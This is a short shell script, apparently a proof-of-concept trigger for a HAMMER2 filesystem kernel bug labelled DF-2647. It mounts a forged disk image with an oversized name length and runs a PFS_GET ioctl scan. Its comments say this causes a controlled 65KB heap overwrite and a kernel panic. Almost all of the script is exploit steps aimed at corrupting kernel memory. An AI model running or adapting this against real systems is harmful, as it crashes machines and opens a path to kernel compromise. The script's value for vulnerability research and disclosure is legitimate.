#!/bin/sh
# DF-2647 stage: catastrophic full-length smear (non-INVARIANTS kernel).
# Mounts the forged image with meta.name_len=0xFFFF and runs ONE PFS_GET
# scan: bcopy of 65535 bytes into the 320-byte ioctl heap buffer
# (~65KB controlled heap overwrite). Expect fatal trap / panic.
#
# usage: run_catastrophic.sh <image>   (root, guest)
set -e
IMG=${1:-/root/poc/h2_2647_ffff.img}
cd /root/poc
vnconfig -u vn0 2>/dev/null || true
umount /mnt/h2 2>/dev/null || true
vnconfig -c vn0 $IMG
mount -t hammer2 /dev/vn0@testvol /mnt/h2
echo MOUNT_OK
/root/poc/pfsget_scan /mnt/h2 1
echo "scan returned unexpectedly (rc=$?)"
umount /mnt/h2 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true